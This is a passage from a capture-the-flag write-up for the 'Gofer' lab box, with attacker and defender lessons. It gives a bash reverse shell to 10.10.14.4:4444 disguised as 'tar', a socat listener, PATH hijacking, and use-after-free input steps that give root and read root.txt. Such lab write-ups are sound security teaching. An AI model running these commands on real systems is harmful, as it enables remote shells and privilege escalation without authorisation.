As tbuckley I created a new file called tar in /tmp/Tools:

#!/usr/bin/bash

bash -c "/bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"

On my attacker machine, I made sure the port was still opened for a reverse shell, and started a socat listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp 
socat -d -d TCP-LISTEN:4444 STDOUT

Then, on the target, I prepended /tmp/Tools to the path, and ran /usr/local/bin/notes:

chmod +x /tmp/Tools/tar
export PATH=/tmp/Tools:$PATH
/usr/local/bin/notes

I repeated the exploit on notes:

(1) Choose a username: anybody # provide any name
(3) # Delete the user
(4) Write your note: 123456789012345678901234admin # 29 bytes long, ends with 'admin':
(2) # shows Username = 123456789012345678901234admin, Role = admin
(8) # run the Backup operation, should trigger /tmp/Tools/tar

And voila!

root shell

🎉 That’s a root shell!

From there, simply cat out the flag for those sweet sweet root points:

cat /root/root.txt

LESSONS LEARNED

two crossed swords

Attacker

  • If you run into something that requires some guessing, scripting is your best friend. A little bit of bash scripting goes a long way. When I was trying to find the initial bypass for the proxy, putting my attempts into a double for loop was very useful.
  • 0.0.0.0 can be used to reach the localhost of a webserver. The HTTP specification is written for maximum compatability: Just because localhost and 127.0.0.1 are filtered, that doesn’t mean there is no way to reach the local host.
  • Keep a reference of text tricks on-hand. This should include things like directory traversals, null bytes, different ways to phrase a url, encoding tricks, etc. Even if you think you know these well, having a reference on-hand will speed things up.
  • Developers can do fine only knowing what’s new. A good hacker needs to know the old stuff too: a working knowledge of BASIC and an awareness of gopher protocol were both useful for this box.
  • Remember the testing mantra: the good, the bad, and the ugly. Playing around with a binary should be the first step of reverse engineering, and you should try good inputs (ones that are intended / produce normal behaviour), bad inputs (clever guesses at what might become an exploit), and ugly inputs (Weird stuff: nonstandard encodings, empty inputs, any corner-case you can think of - these are for discovering vulnerabilities).
  • Remember the easy tricks. Of all things, this “hard” box was rooted through path abuse. It seemed laughably simple. Don’t discount the things that look too easy, just because of the expected difficulty of a box.
two crossed swords

Defender

  • Denylists are impossible to maintain. It’s almost a certainty that something will be missed. On this box, the developer had cleverly denied localhost and /127 from the parameter of http://proxy.gofer.htb/index.php?url=[URL]. However, HTTP is meant for maximum compatability, and there are many ways to specify the localhost. Two other options are 0.0.0.0 and [0:0:0:0:0:ffff:127.0.0.1]. A better way to create the filter would have been an allow-list that only allowed hostnames, with a regex to filter only valid URL constructs - after all, should the employees really have access to… the type of sites that only use IP addresses?

  • Never, ever transmit credentials in plaintext. Tom had left his credentials in a cron job that would contact proxy.gofer.htb. Completely unnecessary, and it all took place over good ol’ unencrypted HTTP.

  • Development should start with security. I know that Tom was “working on” the proxy, and probably time-constrained, but the choice of Basic HTTP Authentication (not even Digest Authentication) clearly shows that this aspect of the system was an afterthought. Figure out authentication, then make the feature.

  • Don’t ever re-use credentials. Better yet, get a good authenticator app or start using hardware tokens. Especially do not re-use a credential that was just transmitted in plaintext over http.

  • Two options: write better code, or use a memory-safe language. The use-after-free vulnerability in the notes app came down to sloppy application logic. When coding anything in a language like C or C++, you must go to great lengths to ensure memory management is perfect.

  • Path abuse is always preventable. This vulnerability pops up when an application is called using a relative path or only by its name. Prevention is trivial: write your code to call applications by their absolute paths only.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake